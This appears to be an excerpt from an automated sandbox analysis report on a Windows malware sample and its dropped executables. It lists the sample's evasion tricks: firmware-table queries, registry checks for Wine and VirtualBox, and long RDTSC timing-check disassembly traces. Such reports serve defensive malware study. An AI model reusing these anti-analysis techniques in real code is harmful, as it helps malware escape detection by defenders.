Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6142F7 second address: 613B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 clc 0x0000000a push dword ptr [ebp+122D0FF5h] 0x00000010 mov dword ptr [ebp+122D31C9h], ecx 0x00000016 jnp 00007F4D44D0519Ch 0x0000001c call dword ptr [ebp+122D23D5h] 0x00000022 pushad 0x00000023 clc 0x00000024 xor eax, eax 0x00000026 jmp 00007F4D44D051A2h 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f stc 0x00000030 mov dword ptr [ebp+122D3A39h], eax 0x00000036 mov dword ptr [ebp+122D23D0h], ebx 0x0000003c mov esi, 0000003Ch 0x00000041 mov dword ptr [ebp+122D2382h], edx 0x00000047 add esi, dword ptr [esp+24h] 0x0000004b sub dword ptr [ebp+122D23D0h], ecx 0x00000051 mov dword ptr [ebp+122D2577h], ecx 0x00000057 lodsw 0x00000059 clc 0x0000005a add eax, dword ptr [esp+24h] 0x0000005e mov dword ptr [ebp+122D24D9h], edi 0x00000064 mov ebx, dword ptr [esp+24h] 0x00000068 mov dword ptr [ebp+122D24F2h], ecx 0x0000006e nop 0x0000006f push eax 0x00000070 push edx 0x00000071 jne 00007F4D44D0519Ch 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613B70 second address: 613B98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jng 00007F4D45034D18h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007F4D45034D16h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794E69 second address: 794E6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794E6D second address: 794E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4D45034D27h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794E8E second address: 794E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794E92 second address: 794EAC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4D45034D1Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794EAC second address: 794ED6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jg 00007F4D44D05196h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F4D44D051AEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793E2A second address: 793E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793E32 second address: 793E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jbe 00007F4D44D0519Eh 0x0000000d jo 00007F4D44D05196h 0x00000013 push edx 0x00000014 pop edx 0x00000015 pushad 0x00000016 jnp 00007F4D44D05196h 0x0000001c jmp 00007F4D44D051A5h 0x00000021 jl 00007F4D44D05196h 0x00000027 popad 0x00000028 popad 0x00000029 push edx 0x0000002a push ecx 0x0000002b jnp 00007F4D44D05196h 0x00000031 jmp 00007F4D44D051A4h 0x00000036 pop ecx 0x00000037 pushad 0x00000038 push edx 0x00000039 pop edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794196 second address: 7941A0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4D45034D1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794487 second address: 79448B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79448B second address: 79448F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79448F second address: 7944EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4D44D051A9h 0x0000000b pop esi 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F4D44D0519Eh 0x00000013 pushad 0x00000014 popad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 jl 00007F4D44D0519Eh 0x0000001e jo 00007F4D44D05196h 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F4D44D051A4h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7944EA second address: 7944EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798353 second address: 7983B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jc 00007F4D44D05196h 0x00000014 popad 0x00000015 jmp 00007F4D44D051A0h 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jmp 00007F4D44D051A8h 0x00000024 mov eax, dword ptr [eax] 0x00000026 js 00007F4D44D051A2h 0x0000002c jng 00007F4D44D0519Ch 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7983B4 second address: 798416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp+04h], eax 0x00000008 jmp 00007F4D45034D28h 0x0000000d pop eax 0x0000000e jmp 00007F4D45034D1Dh 0x00000013 push 00000003h 0x00000015 push esi 0x00000016 sub dword ptr [ebp+124515D6h], eax 0x0000001c pop ecx 0x0000001d push 00000000h 0x0000001f sub esi, dword ptr [ebp+122D3789h] 0x00000025 push 00000003h 0x00000027 mov edx, dword ptr [ebp+122D3891h] 0x0000002d call 00007F4D45034D19h 0x00000032 push esi 0x00000033 je 00007F4D45034D18h 0x00000039 push edx 0x0000003a pop edx 0x0000003b pop esi 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push esi 0x00000042 pop esi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798416 second address: 798429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798429 second address: 798433 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4D45034D1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798433 second address: 798447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F4D44D05196h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798447 second address: 79844D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79844D second address: 798473 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4D44D051A3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798473 second address: 7984CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jnc 00007F4D45034D20h 0x00000014 pop eax 0x00000015 movzx edi, si 0x00000018 lea ebx, dword ptr [ebp+124581E0h] 0x0000001e jmp 00007F4D45034D23h 0x00000023 xchg eax, ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jmp 00007F4D45034D21h 0x0000002c push edx 0x0000002d pop edx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7984CD second address: 7984E9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4D44D05198h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4D44D0519Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798587 second address: 79858B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79858B second address: 7985EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ecx, dword ptr [ebp+122D3779h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F4D44D05198h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov edx, dword ptr [ebp+122D38CDh] 0x00000032 call 00007F4D44D05199h 0x00000037 pushad 0x00000038 push eax 0x00000039 push esi 0x0000003a pop esi 0x0000003b pop eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F4D44D051A4h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79877A second address: 798781 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798781 second address: 798801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jbe 00007F4D44D051A5h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F4D44D05198h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D2577h], eax 0x0000002f push 00000000h 0x00000031 pushad 0x00000032 sub ch, FFFFFFECh 0x00000035 add dword ptr [ebp+122D2382h], ecx 0x0000003b popad 0x0000003c sbb ecx, 5DF3F557h 0x00000042 push 5592A39Ah 0x00000047 pushad 0x00000048 js 00007F4D44D0519Ch 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F4D44D051A6h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798801 second address: 79889C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4D45034D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 5592A31Ah 0x00000012 jns 00007F4D45034D27h 0x00000018 push 00000003h 0x0000001a push eax 0x0000001b add dword ptr [ebp+122D1CF5h], edi 0x00000021 pop esi 0x00000022 push 00000000h 0x00000024 jg 00007F4D45034D1Ch 0x0000002a push 00000003h 0x0000002c push eax 0x0000002d xor dword ptr [ebp+122D3025h], edx 0x00000033 pop edi 0x00000034 call 00007F4D45034D19h 0x00000039 push ebx 0x0000003a ja 00007F4D45034D18h 0x00000040 pop ebx 0x00000041 push eax 0x00000042 pushad 0x00000043 jl 00007F4D45034D18h 0x00000049 push ecx 0x0000004a pop ecx 0x0000004b jo 00007F4D45034D18h 0x00000051 pushad 0x00000052 popad 0x00000053 popad 0x00000054 mov eax, dword ptr [esp+04h] 0x00000058 jnl 00007F4D45034D2Fh 0x0000005e mov eax, dword ptr [eax] 0x00000060 push eax 0x00000061 push edx 0x00000062 push esi 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79889C second address: 7988A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7988A1 second address: 7988A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7988A7 second address: 7988D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push ecx 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 pop ecx 0x00000012 pop eax 0x00000013 sub dword ptr [ebp+122D2577h], edi 0x00000019 lea ebx, dword ptr [ebp+124581F4h] 0x0000001f mov esi, dword ptr [ebp+122D3785h] 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7988D3 second address: 7988E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8963 second address: 7B8969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8969 second address: 7B8974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6806 second address: 7B6810 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4D44D051B3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B693F second address: 7B6945 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6945 second address: 7B695B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jnp 00007F4D44D05196h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B695B second address: 7B695F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B695F second address: 7B697B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D44D0519Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F4D44D0519Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6F3A second address: 7B6F3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6F3E second address: 7B6F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F4D44D05196h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B70B1 second address: 7B70B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C35C second address: 78C396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4D44D05196h 0x0000000a pop edi 0x0000000b push esi 0x0000000c jmp 00007F4D44D051A4h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4D44D051A6h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B77F4 second address: 7B7816 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F4D45034D1Bh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7816 second address: 7B7826 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4D44D05196h 0x00000008 ja 00007F4D44D05196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DF1A second address: 78DF1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7AF9 second address: 7B7AFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B821A second address: 7B823A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D20h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c js 00007F4D45034D2Ah 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B823A second address: 7B8244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8515 second address: 7B851F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B87B5 second address: 7B87C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 ja 00007F4D44D05196h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B87C7 second address: 7B87ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D45034D27h 0x00000009 jmp 00007F4D45034D1Ah 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9F72 second address: 7B9F77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9F77 second address: 7B9FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jns 00007F4D45034D16h 0x0000000e jng 00007F4D45034D16h 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a jng 00007F4D45034D29h 0x00000020 pushad 0x00000021 popad 0x00000022 jmp 00007F4D45034D21h 0x00000027 pushad 0x00000028 jnp 00007F4D45034D16h 0x0000002e pushad 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD578 second address: 7BD57E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BDAB7 second address: 7BDABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BDE64 second address: 7BDE69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BDE69 second address: 7BDE6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BDE6F second address: 7BDE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jng 00007F4D44D051A8h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BDE81 second address: 7BDE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BDE85 second address: 7BDE89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0278 second address: 7C0280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C775C second address: 7C7776 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4D44D0519Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F4D44D05196h 0x00000014 rdtsc
